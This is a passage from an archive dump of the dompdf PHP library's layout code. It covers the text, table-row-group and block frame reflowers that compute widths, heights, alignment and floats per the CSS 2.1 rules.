        $frame->recalculate_width();

        return $add_line;
    }

    /**
     * @param BlockFrameDecorator|null $block
     * @throws Exception
     */
    function reflow(BlockFrameDecorator $block = null)
    {
        $frame = $this->_frame;
        $page = $frame->get_root();
        $page->check_forced_page_break($frame);

        if ($page->is_full()) {
            return;
        }

        $style = $frame->get_style();

        // Handle text transform and white space
        $frame->set_text($this->pre_process_text($frame->get_text()));

        // map text to fonts based on supported Unicode range
        $frame->apply_font_mapping();
        $text = $frame->get_text();

        // Determine the text height
        $size = $style->font_size;
        $font = $style->font_family;
        $font_height = $this->getFontMetrics()->getFontHeight($font, $size);
        $style->set_used("height", $font_height);

        if ($block === null) {
            return;
        }

        $add_line = $this->layout_line($block);

        if ($add_line === null) {
            return;
        }

        $frame->position();

        // Skip wrapped white space between block-level elements in case white
        // space is collapsed
        $text = $frame->get_text();
        if ($text === "" && $frame->get_margin_width() === 0.0) {
            return;
        }

        $line = $block->add_frame_to_line($frame);
        $trimmed = trim($text);

        // Split the text into words (used to determine spacing between
        // words on justified lines)
        if ($trimmed !== "") {
            $words = preg_split(self::$_whitespace_pattern, $trimmed);
            $line->wc += count($words);
        }

        if ($add_line) {
            $block->add_line();
        }
    }

    /**
     * Trim trailing white space from the frame text.
     */
    public function trim_trailing_ws(): void
    {
        $frame = $this->_frame;
        $text = $frame->get_text();
        $trailing = mb_substr($text, -1);

        // White space is always collapsed to the standard space character
        // currently, so only handle that for now
        if ($trailing === " ") {
            $this->trailingWs = $trailing;
            $frame->set_text(mb_substr($text, 0, -1));
            $frame->recalculate_width();
        }
    }

    public function reset(): void
    {
        parent::reset();

        // Restore trimmed trailing white space, as the frame will go through
        // another reflow and line breaks might be different after a split
        if ($this->trailingWs !== null) {
            $text = $this->_frame->get_text();
            $this->_frame->set_text($text . $this->trailingWs);
            $this->trailingWs = null;
        }
    }

    //........................................................................

    public function get_min_max_width(): array
    {
        $fontMetrics = $this->getFontMetrics();
        $frame = $this->_frame;
        $style = $frame->get_style();

        // Handle text transform and white space
        $frame->set_text($this->pre_process_text($frame->get_text()));

        // map text to fonts based on supported Unicode range
        $frame->apply_font_mapping();
        $text = $frame->get_text();

        $font = $style->font_family;
        $size = $style->font_size;
        $word_spacing = $style->word_spacing;
        $letter_spacing = $style->letter_spacing;

        if (!$frame->is_pre()) {
            // Determine whether the frame is at the start of its parent block.
            // Trim leading white space in that case
            $child = $frame;
            $p = $frame->get_parent();
            while (!$p->is_block() && !$child->get_prev_sibling()) {
                $child = $p;
                $p = $p->get_parent();
            }

            if (!$child->get_prev_sibling()) {
                $text = ltrim($text, " ");
            }

            // Determine whether the frame is at the end of its parent block.
            // Trim trailing white space in that case
            $child = $frame;
            $p = $frame->get_parent();
            while (!$p->is_block() && !$child->get_next_sibling()) {
                $child = $p;
                $p = $p->get_parent();
            }

            if (!$child->get_next_sibling()) {
                $text = rtrim($text, " ");
            }
        }

        // Strip soft hyphens for max-line-width calculations
        $visible_text = preg_replace('/\xAD/u', "", $text);

        // Determine minimum text width
        switch ($style->white_space) {
            default:
            case "normal":
            case "pre-line":
            case "pre-wrap":
                // The min width is the longest word or, if breaking words is
                // allowed with the `anywhere` keyword, the widest character.
                // For performance reasons, we only check the first character in
                // the latter case.
                // https://www.w3.org/TR/css-text-3/#overflow-wrap-property
                if ($style->overflow_wrap === "anywhere") {
                    $char = mb_substr($visible_text, 0, 1);
                    $min = $fontMetrics->getTextWidth($char, $font, $size, $word_spacing, $letter_spacing);
                } else {
                    // Find the longest word
                    $words = preg_split(self::$_wordbreak_pattern, $text, -1, PREG_SPLIT_DELIM_CAPTURE);
                    $lengths = array_map(function ($chunk) use ($fontMetrics, $font, $size, $word_spacing, $letter_spacing) {
                        // Allow trailing white space to overflow. As in actual
                        // layout above, only handle a single space for now
                        $sep = $chunk[1] ?? "";
                        $word = $sep === " " ? $chunk[0] : $chunk[0] . $sep;
                        return $fontMetrics->getTextWidth($word, $font, $size, $word_spacing, $letter_spacing);
                    }, array_chunk($words, 2));
                    $min = max($lengths);
                }
                break;

            case "pre":
                // Find the longest line
                $lines = array_flip(preg_split("/\R/u", $visible_text));
                array_walk($lines, function (&$chunked_text_width, $chunked_text) use ($fontMetrics, $font, $size, $word_spacing, $letter_spacing) {
                    $chunked_text_width = $fontMetrics->getTextWidth($chunked_text, $font, $size, $word_spacing, $letter_spacing);
                });
                arsort($lines);
                $min = reset($lines);
                break;

            case "nowrap":
                $min = $fontMetrics->getTextWidth($visible_text, $font, $size, $word_spacing, $letter_spacing);
                break;
        }

        // Determine maximum text width
        switch ($style->white_space) {
            default:
            case "normal":
                $max = $fontMetrics->getTextWidth($visible_text, $font, $size, $word_spacing, $letter_spacing);
                break;

            case "pre-line":
            case "pre-wrap":
                // Find the longest line
                $lines = array_flip(preg_split("/\R/u", $visible_text));
                array_walk($lines, function (&$chunked_text_width, $chunked_text) use ($fontMetrics, $font, $size, $word_spacing, $letter_spacing) {
                    $chunked_text_width = $fontMetrics->getTextWidth($chunked_text, $font, $size, $word_spacing, $letter_spacing);
                });
                arsort($lines);
                $max = reset($lines);
                break;

            case "pre":
            case "nowrap":
                $max = $min;
                break;
        }

        // Account for margins, borders, and padding
        $dims = [
            $style->padding_left,
            $style->padding_right,
            $style->border_left_width,
            $style->border_right_width,
            $style->margin_left,
            $style->margin_right
        ];

        // The containing block is not defined yet, treat percentages as 0
        $delta = (float) $style->length_in_pt($dims, 0);
        $min += $delta;
        $max += $delta;

        return [$min, $max, "min" => $min, "max" => $max];
    }

    /**
     * @param FontMetrics $fontMetrics
     * @return $this
     */
    public function setFontMetrics(FontMetrics $fontMetrics)
    {
        $this->fontMetrics = $fontMetrics;
        return $this;
    }

    /**
     * @return FontMetrics
     */
    public function getFontMetrics()
    {
        return $this->fontMetrics;
    }
}
vendor/dompdf/dompdf/src/FrameReflower/TableRowGroup.php000066600000004604151150443010017361 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameReflower;

use Dompdf\Exception;
use Dompdf\FrameDecorator\Block as BlockFrameDecorator;
use Dompdf\FrameDecorator\Table as TableFrameDecorator;
use Dompdf\FrameDecorator\TableRowGroup as TableRowGroupFrameDecorator;

/**
 * Reflows table row groups (e.g. tbody tags)
 *
 * @package dompdf
 */
class TableRowGroup extends AbstractFrameReflower
{

    /**
     * TableRowGroup constructor.
     * @param TableRowGroupFrameDecorator $frame
     */
    function __construct(TableRowGroupFrameDecorator $frame)
    {
        parent::__construct($frame);
    }

    /**
     * @param BlockFrameDecorator|null $block
     */
    function reflow(BlockFrameDecorator $block = null)
    {
        /** @var TableRowGroupFrameDecorator */
        $frame = $this->_frame;
        $page = $frame->get_root();
        $parent = $frame->get_parent();
        $dompdf_generated = $parent->get_frame()->get_node()->nodeName === "dompdf_generated";

        // Counters and generated content
        $this->_set_content();

        $style = $frame->get_style();
        $cb = $frame->get_containing_block();

        foreach ($frame->get_children() as $child) {
            $child->set_containing_block($cb["x"], $cb["y"], $cb["w"], $cb["h"]);
            $child->reflow();

            // Check if a split has occurred
            $page->check_page_break($child);

            if ($page->is_full()) {
                break;
            }
        }

        if ($page->is_full() && $dompdf_generated && $frame->get_parent() === null) {
            return;
        }

        $table = TableFrameDecorator::find_parent_table($frame);
        if ($table === null) {
            throw new Exception("Parent table not found for table row group");
        }
        $cellmap = $table->get_cellmap();

        // Stop reflow if a page break has occurred before the frame, in which
        // case it is not part of its parent table's cell map yet
        if ($page->is_full() && !$cellmap->frame_exists_in_cellmap($frame)) {
            return;
        }

        $style->set_used("width", $cellmap->get_frame_width($frame));
        $style->set_used("height", $cellmap->get_frame_height($frame));

        $frame->set_position($cellmap->get_frame_position($frame));
    }
}
vendor/dompdf/dompdf/src/FrameReflower/Block.php000066600000103375151150443010015664 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameReflower;

use Dompdf\FrameDecorator\AbstractFrameDecorator;
use Dompdf\FrameDecorator\Block as BlockFrameDecorator;
use Dompdf\FrameDecorator\TableCell as TableCellFrameDecorator;
use Dompdf\FrameDecorator\Text as TextFrameDecorator;
use Dompdf\Exception;
use Dompdf\Css\Style;
use Dompdf\Helpers;

/**
 * Reflows block frames
 *
 * @package dompdf
 */
class Block extends AbstractFrameReflower
{
    // Minimum line width to justify, as fraction of available width
    const MIN_JUSTIFY_WIDTH = 0.80;

    /**
     * Frame for this reflower
     *
     * @var BlockFrameDecorator
     */
    protected $_frame;

    function __construct(BlockFrameDecorator $frame)
    {
        parent::__construct($frame);
    }

    /**
     *  Calculate the ideal used value for the width property as per:
     *  http://www.w3.org/TR/CSS21/visudet.html#Computing_widths_and_margins
     *
     * @param float $width
     *
     * @return array
     */
    protected function _calculate_width($width)
    {
        $frame = $this->_frame;
        $style = $frame->get_style();
        $absolute = $frame->is_absolute();

        $cb = $frame->get_containing_block();
        $w = $cb["w"];

        $rm = $style->length_in_pt($style->margin_right, $w);
        $lm = $style->length_in_pt($style->margin_left, $w);

        $left = $style->length_in_pt($style->left, $w);
        $right = $style->length_in_pt($style->right, $w);

        // Handle 'auto' values
        $dims = [$style->border_left_width,
            $style->border_right_width,
            $style->padding_left,
            $style->padding_right,
            $width !== "auto" ? $width : 0,
            $rm !== "auto" ? $rm : 0,
            $lm !== "auto" ? $lm : 0];

        // absolutely positioned boxes take the 'left' and 'right' properties into account
        if ($absolute) {
            $dims[] = $left !== "auto" ? $left : 0;
            $dims[] = $right !== "auto" ? $right : 0;
        }

        $sum = (float)$style->length_in_pt($dims, $w);

        // Compare to the containing block
        $diff = $w - $sum;

        if ($absolute) {
            // Absolutely positioned
            // http://www.w3.org/TR/CSS21/visudet.html#abs-non-replaced-width

            if ($width === "auto" || $left === "auto" || $right === "auto") {
                // "all of the three are 'auto'" logic + otherwise case
                if ($lm === "auto") {
                    $lm = 0;
                }
                if ($rm === "auto") {
                    $rm = 0;
                }

                $block_parent = $frame->find_block_parent();
                $parent_content = $block_parent->get_content_box();
                $line = $block_parent->get_current_line_box();

                // TODO: This is the in-flow inline position. Use the in-flow
                // block position if the original display type is block-level
                $inflow_x = $parent_content["x"] - $cb["x"] + $line->left + $line->w;

                if ($width === "auto" && $left === "auto" && $right === "auto") {
                    // rule 3, per instruction preceding rule set
                    // shrink-to-fit width
                    $left = $inflow_x;
                    [$min, $max] = $this->get_min_max_child_width();
                    $width = min(max($min, $diff - $left), $max);
                    $right = $diff - $left - $width;
                } elseif ($width === "auto" && $left === "auto") {
                    // rule 1
                    // shrink-to-fit width
                    [$min, $max] = $this->get_min_max_child_width();
                    $width = min(max($min, $diff), $max);
                    $left = $diff - $width;
                } elseif ($width === "auto" && $right === "auto") {
                    // rule 3
                    // shrink-to-fit width
                    [$min, $max] = $this->get_min_max_child_width();
                    $width = min(max($min, $diff), $max);
                    $right = $diff - $width;
                } elseif ($left === "auto" && $right === "auto") {
                    // rule 2
                    $left = $inflow_x;
                    $right = $diff - $left;
                } elseif ($left === "auto") {
                    // rule 4
                    $left = $diff;
                } elseif ($width === "auto") {
                    // rule 5
                    $width = max($diff, 0);
                } else {
                    // $right === "auto"
                    // rule 6
                    $right = $diff;
                }
            } else {
                // "none of the three are 'auto'" logic described in paragraph preceding the rules
                if ($diff >= 0) {
                    if ($lm === "auto" && $rm === "auto") {
                        $lm = $rm = $diff / 2;
                    } elseif ($lm === "auto") {
                        $lm = $diff;
                    } elseif ($rm === "auto") {
                        $rm = $diff;
                    }
                } else {
                    // over-constrained, solve for right
                    $right = $right + $diff;

                    if ($lm === "auto") {
                        $lm = 0;
                    }
                    if ($rm === "auto") {
                        $rm = 0;
                    }
                }
            }
        } elseif ($style->float !== "none" || $style->display === "inline-block") {
            // Shrink-to-fit width for float and inline block
            // https://www.w3.org/TR/CSS21/visudet.html#float-width
            // https://www.w3.org/TR/CSS21/visudet.html#inlineblock-width

            if ($width === "auto") {
                [$min, $max] = $this->get_min_max_child_width();
                $width = min(max($min, $diff), $max);
            }
            if ($lm === "auto") {
                $lm = 0;
            }
            if ($rm === "auto") {
                $rm = 0;
            }
        } else {
            // Block-level, normal flow
            // https://www.w3.org/TR/CSS21/visudet.html#blockwidth

            if ($diff >= 0) {
                // Find auto properties and get them to take up the slack
                if ($width === "auto") {
                    $width = $diff;

                    if ($lm === "auto") {
                        $lm = 0;
                    }
                    if ($rm === "auto") {
                        $rm = 0;
                    }
                } elseif ($lm === "auto" && $rm === "auto") {
                    $lm = $rm = $diff / 2;
                } elseif ($lm === "auto") {
                    $lm = $diff;
                } elseif ($rm === "auto") {
                    $rm = $diff;
                }
            } else {
                // We are over constrained--set margin-right to the difference
                $rm = (float) $rm + $diff;

                if ($width === "auto") {
                    $width = 0;
                }
                if ($lm === "auto") {
                    $lm = 0;
                }
            }
        }

        return [
            "width" => $width,
            "margin_left" => $lm,
            "margin_right" => $rm,
            "left" => $left,
            "right" => $right,
        ];
    }

    /**
     * Call the above function, but resolve max/min widths
     *
     * @throws Exception
     * @return array
     */
    protected function _calculate_restricted_width()
    {
        $frame = $this->_frame;
        $style = $frame->get_style();
        $cb = $frame->get_containing_block();

        if (!isset($cb["w"])) {
            throw new Exception("Box property calculation requires containing block width");
        }

        $width = $style->length_in_pt($style->width, $cb["w"]);

        $values = $this->_calculate_width($width);
        $margin_left = $values["margin_left"];
        $margin_right = $values["margin_right"];
        $width = $values["width"];
        $left = $values["left"];
        $right = $values["right"];

        // Handle min/max width
        // https://www.w3.org/TR/CSS21/visudet.html#min-max-widths
        $min_width = $this->resolve_min_width($cb["w"]);
        $max_width = $this->resolve_max_width($cb["w"]);

        if ($width > $max_width) {
            $values = $this->_calculate_width($max_width);
            $margin_left = $values["margin_left"];
            $margin_right = $values["margin_right"];
            $width = $values["width"];
            $left = $values["left"];
            $right = $values["right"];
        }

        if ($width < $min_width) {
            $values = $this->_calculate_width($min_width);
            $margin_left = $values["margin_left"];
            $margin_right = $values["margin_right"];
            $width = $values["width"];
            $left = $values["left"];
            $right = $values["right"];
        }

        return [$width, $margin_left, $margin_right, $left, $right];
    }

    /**
     * Determine the unrestricted height of content within the block
     * not by adding each line's height, but by getting the last line's position.
     * This because lines could have been pushed lower by a clearing element.
     *
     * @return float
     */
    protected function _calculate_content_height(): float
    {
        $height = 0.0;
        $lines = $this->_frame->get_line_boxes();
        if (count($lines) > 0) {
            $last_line = end($lines);
            $content_box = $this->_frame->get_content_box();
            $height = $last_line->y + $last_line->h - $content_box["y"];
        }
        return $height;
    }

    /**
     * Determine the frame's restricted height
     *
     * @return array
     */
    protected function _calculate_restricted_height()
    {
        $frame = $this->_frame;
        $style = $frame->get_style();
        $content_height = $this->_calculate_content_height();
        $cb = $frame->get_containing_block();

        $height = $style->length_in_pt($style->height, $cb["h"]);
        $margin_top = $style->length_in_pt($style->margin_top, $cb["w"]);
        $margin_bottom = $style->length_in_pt($style->margin_bottom, $cb["w"]);

        $top = $style->length_in_pt($style->top, $cb["h"]);
        $bottom = $style->length_in_pt($style->bottom, $cb["h"]);

        if ($frame->is_absolute()) {
            // Absolutely positioned
            // http://www.w3.org/TR/CSS21/visudet.html#abs-non-replaced-height

            $h_dims = [
                $top !== "auto" ? $top : 0,
                $height !== "auto" ? $height : 0,
                $bottom !== "auto" ? $bottom : 0
            ];
            $w_dims = [
                $style->margin_top !== "auto" ? $style->margin_top : 0,
                $style->padding_top,
                $style->border_top_width,
                $style->border_bottom_width,
                $style->padding_bottom,
                $style->margin_bottom !== "auto" ? $style->margin_bottom : 0
            ];

            $sum = (float)$style->length_in_pt($h_dims, $cb["h"])
                + (float)$style->length_in_pt($w_dims, $cb["w"]);

            $diff = $cb["h"] - $sum;

            if ($height === "auto" || $top === "auto" || $bottom === "auto") {
                // "all of the three are 'auto'" logic + otherwise case
                if ($margin_top === "auto") {
                    $margin_top = 0;
                }
                if ($margin_bottom === "auto") {
                    $margin_bottom = 0;
                }

                $block_parent = $frame->find_block_parent();
                $current_line = $block_parent->get_current_line_box();

                // TODO: This is the in-flow inline position. Use the in-flow
                // block position if the original display type is block-level
                $inflow_y = $current_line->y - $cb["y"];

                if ($height === "auto" && $top === "auto" && $bottom === "auto") {
                    // rule 3, per instruction preceding rule set
                    $top = $inflow_y;
                    $height = $content_height;
                    $bottom = $diff - $top - $height;
                } elseif ($height === "auto" && $top === "auto") {
                    // rule 1
                    $height = $content_height;
                    $top = $diff - $height;
                } elseif ($height === "auto" && $bottom === "auto") {
                    // rule 3
                    $height = $content_height;
                    $bottom = $diff - $height;
                } elseif ($top === "auto" && $bottom === "auto") {
                    // rule 2
                    $top = $inflow_y;
                    $bottom = $diff - $top;
                } elseif ($top === "auto") {
                    // rule 4
                    $top = $diff;
                } elseif ($height === "auto") {
                    // rule 5
                    $height = max($diff, 0);
                } else {
                    // $bottom === "auto"
                    // rule 6
                    $bottom = $diff;
                }
            } else {
                // "none of the three are 'auto'" logic described in paragraph preceding the rules
                if ($diff >= 0) {
                    if ($margin_top === "auto" && $margin_bottom === "auto") {
                        $margin_top = $margin_bottom = $diff / 2;
                    } elseif ($margin_top === "auto") {
                        $margin_top = $diff;
                    } elseif ($margin_bottom === "auto") {
                        $margin_bottom = $diff;
                    }
                } else {
                    // over-constrained, solve for bottom
                    $bottom = $bottom + $diff;

                    if ($margin_top === "auto") {
                        $margin_top = 0;
                    }
                    if ($margin_bottom === "auto") {
                        $margin_bottom = 0;
                    }
                }
            }
        } else {
            // https://www.w3.org/TR/CSS21/visudet.html#normal-block
            // https://www.w3.org/TR/CSS21/visudet.html#block-root-margin

            if ($height === "auto") {
                $height = $content_height;
            }
            if ($margin_top === "auto") {
                $margin_top = 0;
            }
            if ($margin_bottom === "auto") {
                $margin_bottom = 0;
            }

            // Handle min/max height
            // https://www.w3.org/TR/CSS21/visudet.html#min-max-heights
            $min_height = $this->resolve_min_height($cb["h"]);
            $max_height = $this->resolve_max_height($cb["h"]);
            $height = Helpers::clamp($height, $min_height, $max_height);
        }

        // TODO: Need to also take min/max height into account for absolute
        // positioning, using similar logic to the `_calculate_width`/
        // `calculate_restricted_width` split above. The non-absolute case
        // can simply clamp height within min/max, as margins and offsets are
        // not affected

        return [$height, $margin_top, $margin_bottom, $top, $bottom];
    }

    /**
     * Adjust the justification of each of our lines.
     * http://www.w3.org/TR/CSS21/text.html#propdef-text-align
     */
    protected function _text_align()
    {
        $style = $this->_frame->get_style();
        $w = $this->_frame->get_containing_block("w");
        $width = (float)$style->length_in_pt($style->width, $w);
        $text_indent = (float)$style->length_in_pt($style->text_indent, $w);

        switch ($style->text_align) {
            default:
            case "left":
                foreach ($this->_frame->get_line_boxes() as $line) {
                    if (!$line->inline) {
                        continue;
                    }

                    $line->trim_trailing_ws();

                    if ($line->left) {
                        foreach ($line->frames_to_align() as $frame) {
                            $frame->move($line->left, 0);
                        }
                    }
                }
                break;

            case "right":
                foreach ($this->_frame->get_line_boxes() as $i => $line) {
                    if (!$line->inline) {
                        continue;
                    }

                    $line->trim_trailing_ws();

                    $indent = $i === 0 ? $text_indent : 0;
                    $dx = $width - $line->w - $line->right - $indent;

                    foreach ($line->frames_to_align() as $frame) {
                        $frame->move($dx, 0);
                    }
                }
                break;

            case "justify":
                // We justify all lines except the last one, unless the frame
                // has been split, in which case the actual last line is part of
                // the split-off frame
                $lines = $this->_frame->get_line_boxes();
                $last_line_index = $this->_frame->is_split ? null : count($lines) - 1;

                foreach ($lines as $i => $line) {
                    if (!$line->inline) {
                        continue;
                    }

                    $line->trim_trailing_ws();

                    if ($line->left) {
                        foreach ($line->frames_to_align() as $frame) {
                            $frame->move($line->left, 0);
                        }
                    }

                    if ($line->br || $i === $last_line_index) {
                        continue;
                    }

                    $frames = $line->get_frames();
                    $other_frame_count = 0;

                    foreach ($frames as $frame) {
                        if (!($frame instanceof TextFrameDecorator)) {
                            $other_frame_count++;
                        }
                    }

                    $word_count = $line->wc + $other_frame_count;

                    // Set the spacing for each child
                    if ($word_count > 1) {
                        $indent = $i === 0 ? $text_indent : 0;
                        $spacing = ($width - $line->get_width() - $indent) / ($word_count - 1);
                    } else {
                        $spacing = 0;
                    }

                    $dx = 0;
                    foreach ($frames as $frame) {
                        if ($frame instanceof TextFrameDecorator) {
                            $text = $frame->get_text();
                            $spaces = mb_substr_count($text, " ");

                            $frame->move($dx, 0);
                            $frame->set_text_spacing($spacing);

                            $dx += $spaces * $spacing;
                        } else {
                            $frame->move($dx, 0);
                        }
                    }

                    // The line (should) now occupy the entire width
                    $line->w = $width;
                }
                break;

            case "center":
            case "centre":
                foreach ($this->_frame->get_line_boxes() as $i => $line) {
                    if (!$line->inline) {
                        continue;
                    }

                    $line->trim_trailing_ws();

                    $indent = $i === 0 ? $text_indent : 0;
                    $dx = ($width + $line->left - $line->w - $line->right - $indent) / 2;

                    foreach ($line->frames_to_align() as $frame) {
                        $frame->move($dx, 0);
                    }
                }
                break;
        }
    }

    /**
     * Align inline children vertically.
     * Aligns each child vertically after each line is reflowed
     */
    function vertical_align()
    {
        $fontMetrics = $this->get_dompdf()->getFontMetrics();

        foreach ($this->_frame->get_line_boxes() as $line) {
            $height = $line->h;

            // Move all markers to the top of the line box
            foreach ($line->get_list_markers() as $marker) {
                $x = $marker->get_position("x");
                $marker->set_position($x, $line->y);
            }

            foreach ($line->frames_to_align() as $frame) {
                $style = $frame->get_style();
                $isInlineBlock = $style->display !== "inline"
                    && $style->display !== "-dompdf-list-bullet";

                $baseline = $fontMetrics->getFontBaseline($style->font_family, $style->font_size);
                $y_offset = 0;

                //FIXME: The 0.8 ratio applied to the height is arbitrary (used to accommodate descenders?)
                if ($isInlineBlock) {
                    // Workaround: Skip vertical alignment if the frame is the
                    // only one one the line, excluding empty text frames, which
                    // may be the result of trailing white space
                    // FIXME: This special case should be removed once vertical
                    // alignment is properly fixed
                    $skip = true;

                    foreach ($line->get_frames() as $other) {
                        if ($other !== $frame
                            && !($other->is_text_node() && $other->get_node()->nodeValue === "")
                         ) {
                            $skip = false;
                            break;
                        }
                    }

                    if ($skip) {
                        continue;
                    }

                    $marginHeight = $frame->get_margin_height();
                    $imageHeightDiff = $height * 0.8 - $marginHeight;

                    $align = $frame->get_style()->vertical_align;
                    if (in_array($align, Style::VERTICAL_ALIGN_KEYWORDS, true)) {
                        switch ($align) {
                            case "middle":
                                $y_offset = $imageHeightDiff / 2;
                                break;

                            case "sub":
                                $y_offset = 0.3 * $height + $imageHeightDiff;
                                break;

                            case "super":
                                $y_offset = -0.2 * $height + $imageHeightDiff;
                                break;

                            case "text-top": // FIXME: this should be the height of the frame minus the height of the text
                                $y_offset = $height - $style->line_height;
                                break;

                            case "top":
                                break;

                            case "text-bottom": // FIXME: align bottom of image with the descender?
                            case "bottom":
                                $y_offset = 0.3 * $height + $imageHeightDiff;
                                break;

                            case "baseline":
                            default:
                                $y_offset = $imageHeightDiff;
                                break;
                        }
                    } else {
                        $y_offset = $baseline - (float)$style->length_in_pt($align, $style->font_size) - $marginHeight;
                    }
                } else {
                    $parent = $frame->get_parent();
                    if ($parent instanceof TableCellFrameDecorator) {
                        $align = "baseline";
                    } else {
                        $align = $parent->get_style()->vertical_align;
                    }
                    if (in_array($align, Style::VERTICAL_ALIGN_KEYWORDS, true)) {
                        switch ($align) {
                            case "middle":
                                $y_offset = ($height * 0.8 - $baseline) / 2;
                                break;

                            case "sub":
                                $y_offset = $height * 0.8 - $baseline * 0.5;
                                break;

                            case "super":
                                $y_offset = $height * 0.8 - $baseline * 1.4;
                                break;

                            case "text-top":
                            case "top": // Not strictly accurate, but good enough for now
                                break;

                            case "text-bottom":
                            case "bottom":
                                $y_offset = $height * 0.8 - $baseline;
                                break;

                            case "baseline":
                            default:
                                $y_offset = $height * 0.8 - $baseline;
                                break;
                        }
                    } else {
                        $y_offset = $height * 0.8 - $baseline - (float)$style->length_in_pt($align, $style->font_size);
                    }
                }

                if ($y_offset !== 0) {
                    $frame->move(0, $y_offset);
                }
            }
        }
    }

    /**
     * @param AbstractFrameDecorator $child
     */
    function process_clear(AbstractFrameDecorator $child)
    {
        $child_style = $child->get_style();
        $root = $this->_frame->get_root();

        // Handle "clear"
        if ($child_style->clear !== "none") {
            //TODO: this is a WIP for handling clear/float frames that are in between inline frames
            if ($child->get_prev_sibling() !== null) {
                $this->_frame->add_line();
            }
            if ($child_style->float !== "none" && $child->get_next_sibling()) {
                $this->_frame->set_current_line_number($this->_frame->get_current_line_number() - 1);
            }

            $lowest_y = $root->get_lowest_float_offset($child);

            // If a float is still applying, we handle it
            if ($lowest_y) {
                if ($child->is_in_flow()) {
                    $line_box = $this->_frame->get_current_line_box();
                    $line_box->y = $lowest_y + $child->get_margin_height();
                    $line_box->left = 0;
                    $line_box->right = 0;
                }

                $child->move(0, $lowest_y - $child->get_position("y"));
            }
        }
    }

    /**
     * @param AbstractFrameDecorator $child
     * @param float $cb_x
     * @param float $cb_w
     */
    function process_float(AbstractFrameDecorator $child, $cb_x, $cb_w)
    {
        $child_style = $child->get_style();
        $root = $this->_frame->get_root();

        // Handle "float"
        if ($child_style->float !== "none") {
            $root->add_floating_frame($child);

            // Remove next frame's beginning whitespace
            $next = $child->get_next_sibling();
            if ($next && $next instanceof TextFrameDecorator) {
                $next->set_text(ltrim($next->get_text()));
            }

            $line_box = $this->_frame->get_current_line_box();
            list($old_x, $old_y) = $child->get_position();

            $float_x = $cb_x;
            $float_y = $old_y;
            $float_w = $child->get_margin_width();

            if ($child_style->clear === "none") {
                switch ($child_style->float) {
                    case "left":
                        $float_x += $line_box->left;
                        break;
                    case "right":
                        $float_x += ($cb_w - $line_box->right - $float_w);
                        break;
                }
            } else {
                if ($child_style->float === "right") {
                    $float_x += ($cb_w - $float_w);
                }
            }

            if ($cb_w < $float_x + $float_w - $old_x) {
                // TODO handle when floating elements don't fit
            }

            $line_box->get_float_offsets();

            if ($child->_float_next_line) {
                $float_y += $line_box->h;
            }

            $child->set_position($float_x, $float_y);
            $child->move($float_x - $old_x, $float_y - $old_y, true);
        }
    }

    /**
     * @param BlockFrameDecorator $block
     */
    function reflow(BlockFrameDecorator $block = null)
    {

        // Check if a page break is forced
        $page = $this->_frame->get_root();
        $page->check_forced_page_break($this->_frame);

        // Bail if the page is full
        if ($page->is_full()) {
            return;
        }

        $this->determine_absolute_containing_block();

        // Counters and generated content
        $this->_set_content();

        // Inherit any dangling list markers
        if ($block && $this->_frame->is_in_flow()) {
            $this->_frame->inherit_dangling_markers($block);
        }

        // Collapse margins if required
        $this->_collapse_margins();

        $style = $this->_frame->get_style();
        $cb = $this->_frame->get_containing_block();

        // Determine the constraints imposed by this frame: calculate the width
        // of the content area:
        [$width, $margin_left, $margin_right, $left, $right] = $this->_calculate_restricted_width();

        // Store the calculated properties
        $style->set_used("width", $width);
        $style->set_used("margin_left", $margin_left);
        $style->set_used("margin_right", $margin_right);
        $style->set_used("left", $left);
        $style->set_used("right", $right);

        $margin_top = $style->length_in_pt($style->margin_top, $cb["w"]);
        $margin_bottom = $style->length_in_pt($style->margin_bottom, $cb["w"]);

        $auto_top = $style->top === "auto";
        $auto_margin_top = $margin_top === "auto";

        // Update the position
        $this->_frame->position();
        [$x, $y] = $this->_frame->get_position();

        // Adjust the first line based on the text-indent property
        $indent = (float)$style->length_in_pt($style->text_indent, $cb["w"]);
        $this->_frame->increase_line_width($indent);

        // Determine the content edge
        $top = (float)$style->length_in_pt([
            $margin_top !== "auto" ? $margin_top : 0,
            $style->border_top_width,
            $style->padding_top
        ], $cb["w"]);
        $bottom = (float)$style->length_in_pt([
            $margin_bottom !== "auto" ? $margin_bottom : 0,
            $style->border_bottom_width,
            $style->padding_bottom
        ], $cb["w"]);

        $cb_x = $x + (float)$margin_left + (float)$style->length_in_pt([$style->border_left_width,
                $style->padding_left], $cb["w"]);

        $cb_y = $y + $top;

        $height = $style->length_in_pt($style->height, $cb["h"]);
        if ($height === "auto") {
            $height = ($cb["h"] + $cb["y"]) - $bottom - $cb_y;
        }

        // Set the y position of the first line in this block
        $line_box = $this->_frame->get_current_line_box();
        $line_box->y = $cb_y;
        $line_box->get_float_offsets();

        // Set the containing blocks and reflow each child
        foreach ($this->_frame->get_children() as $child) {
            $child->set_containing_block($cb_x, $cb_y, $width, $height);
            $this->process_clear($child);
            $child->reflow($this->_frame);

            // Check for a page break before the child
            $page->check_page_break($child);

            // Don't add the child to the line if a page break has occurred
            // before it (possibly via a descendant), in which case it has been
            // reset, including its position
            if ($page->is_full() && $child->get_position("x") === null) {
                break;
            }

            $this->process_float($child, $cb_x, $width);
        }

        // Stop reflow if a page break has occurred before the frame, in which
        // case it has been reset, including its position
        if ($page->is_full() && $this->_frame->get_position("x") === null) {
            return;
        }

        // Determine our height
        [$height, $margin_top, $margin_bottom, $top, $bottom] = $this->_calculate_restricted_height();

        $style->set_used("height", $height);
        $style->set_used("margin_top", $margin_top);
        $style->set_used("margin_bottom", $margin_bottom);
        $style->set_used("top", $top);
        $style->set_used("bottom", $bottom);

        if ($this->_frame->is_absolute()) {
            if ($auto_top) {
                $this->_frame->move(0, $top);
            }
            if ($auto_margin_top) {
                $this->_frame->move(0, $margin_top, true);
            }
        }

        $this->_text_align();
        $this->vertical_align();

        // Handle relative positioning
        foreach ($this->_frame->get_children() as $child) {
            $this->position_relative($child);
        }

        if ($block && $this->_frame->is_in_flow()) {
            $block->add_frame_to_line($this->_frame);

            if ($this->_frame->is_block_level()) {
                $block->add_line();
            }
        }
    }

    public function get_min_max_content_width(): array
    {
        // TODO: While the containing block is not set yet on the frame, it can
        // already be determined in some cases due to fixed dimensions on the
